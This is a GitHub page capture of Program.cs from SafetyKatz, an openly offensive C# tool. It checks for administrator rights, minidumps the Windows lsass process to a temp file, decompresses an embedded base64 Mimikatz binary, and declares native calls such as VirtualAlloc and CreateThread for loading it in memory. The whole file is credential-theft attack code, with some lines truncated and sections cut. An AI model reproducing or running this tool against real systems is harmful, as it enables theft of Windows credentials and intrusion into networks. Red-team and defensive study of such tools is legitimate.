Sign in

GhostPack / **SafetyKatz** Public

Notifications Fork 243 Star 1.2k

Code Issues 4 Pull requests Actions Projects Security Insights

SafetyKatz / SafetyKatz / **Program.cs**

Executable File · 657 lines (546 loc) · 26.3 KB

Code Blame Raw

```
using System;
using System.Runtime.InteropServices;
using System.Diagnostics;
using System.IO;
using System.Security.Principal;
using System.IO.Compression;

namespace SafetyKatz
{
    class Program
    {
        // adapted from https://blogs.msdn.microsoft.com/dondu/2010/10/24/writing-minidumps-in-c/

        // overload supporting MiniDumpExceptionInformation == NULL
        [DllImport("dbghelp.dll", EntryPoint = "MiniDumpWriteDump", CallingConvention = CallingConv
        static extern bool MiniDumpWriteDump(IntPtr hProcess, uint processId, SafeHandle hFile, uir

        public static bool IsHighIntegrity()
        {
            // returns true if the current process is running with adminstrative privs in a high ir
            WindowsIdentity identity = WindowsIdentity.GetCurrent();
            WindowsPrincipal principal = new WindowsPrincipal(identity);
            return principal.IsInRole(WindowsBuiltInRole.Administrator);
        }

        public static void Minidump(int pid = -1)
```

```
        {
            IntPtr targetProcessHandle = IntPtr.Zero;
            uint targetProcessId = 0;

            Process targetProcess = null;
            if (pid == -1)
            {
                Process[] processes = Process.GetProcessesByName("lsass");
                targetProcess = processes[0];
            }
            else
            {
                try
                {
                    targetProcess = Process.GetProcessById(pid);
                }
                catch (Exception ex)
                {
                    Console.WriteLine(String.Format("\n[X]Exception: {0}\n", ex.Message));
                    return;
                }
            }

            try
            {
                targetProcessId = (uint)targetProcess.Id;
                targetProcessHandle = targetProcess.Handle;
            }
            catch (Exception ex)
            {
                Console.WriteLine(String.Format("\n[X] Error getting handle to {0} ({1}): {2}\n", t
                return;
            }
            bool bRet = false;

            string systemRoot = Environment.GetEnvironmentVariable("SystemRoot");
            string dumpFile = String.Format("{0}\\Temp\\debug.bin", systemRoot);

            Console.WriteLine(String.Format("\n[*] Dumping {0} ({1}) to {2}", targetProcess.Process

            using (FileStream fs = new FileStream(dumpFile, FileMode.Create, FileAccess.ReadWrite,
            {
                bRet = MiniDumpWriteDump(targetProcessHandle, targetProcessId, fs.SafeFileHandle, (
            }

            // if successful
```

```
            if (bRet)
            {
                Console.WriteLine("[+] Dump successful!");
            }
            else
            {
                Console.WriteLine(String.Format("[X] Dump failed: {0}", bRet));
            }
        }

        static void Main(string[] args)
        {
            if (!IsHighIntegrity())
            {
                Console.WriteLine("\n[X] Not in high integrity, unable to grab a handle to lsass!\r
            }
            else
            {
                // initial sanity checks
                string systemRoot = Environment.GetEnvironmentVariable("SystemRoot");
                string dumpDir = String.Format("{0}\\Temp\\", systemRoot);
                if (!Directory.Exists(dumpDir))
                {
                    Console.WriteLine(String.Format("\n[X] Dump directory \"{0}\" doesn't exist!\n"
                    return;
                }

                if (!(IntPtr.Size == 8))
                {
                    Console.WriteLine("\n[X] Process is not 64-bit, this version of Mimikatz won't
                    return;
                }


                // first minidump the process
                Minidump();

                // now decompress the customized Mimikatz binary from Constants.cs
                Byte[] unpacked = new byte[628736];
                using (MemoryStream inputStream = new MemoryStream(Convert.FromBase64String(Constan
                {
                    using (DeflateStream stream = new DeflateStream(inputStream, CompressionMode.De
                    {
                        stream.Read(unpacked, 0, 628736);
                    }
                }
```

```
                    }
```

```

        public IMAGE_SECTION_HEADER[] ImageSectionHeaders
        {
            get
            {
                return imageSectionHeaders;
            }
        }

        public byte[] RawBytes
        {
            get
            {
                return rawbytes;
            }

        }

    }//End Class


    unsafe class NativeDeclarations
    {

        public static uint MEM_COMMIT = 0x1000;
        public static uint MEM_RESERVE = 0x2000;
        public static uint PAGE_EXECUTE_READWRITE = 0x40;
        public static uint PAGE_READWRITE = 0x04;

        [StructLayout(LayoutKind.Sequential)]
        public unsafe struct IMAGE_BASE_RELOCATION
        {
            public uint VirtualAdress;
            public uint SizeOfBlock;
        }

        [DllImport("kernel32")]
        public static extern IntPtr VirtualAlloc(IntPtr lpStartAddr, uint size, uint flAllocationTy
```

```

        [DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
        public static extern IntPtr LoadLibrary(string lpFileName);

        [DllImport("kernel32.dll", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = tru
        public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

        [DllImport("kernel32")]
        public static extern IntPtr CreateThread(

          IntPtr lpThreadAttributes,
          uint dwStackSize,
          IntPtr lpStartAddress,
          IntPtr param,
          uint dwCreationFlags,
          IntPtr lpThreadId
          );

        [DllImport("kernel32")]
        public static extern UInt32 WaitForSingleObject(

          IntPtr hHandle,
          UInt32 dwMilliseconds
          );

        [StructLayout(LayoutKind.Sequential)]
        public unsafe struct IMAGE_IMPORT_DESCRIPTOR
        {
            public uint OriginalFirstThunk;
            public uint TimeDateStamp;
            public uint ForwarderChain;
            public uint Name;
            public uint FirstThunk;
        }
    }
}
```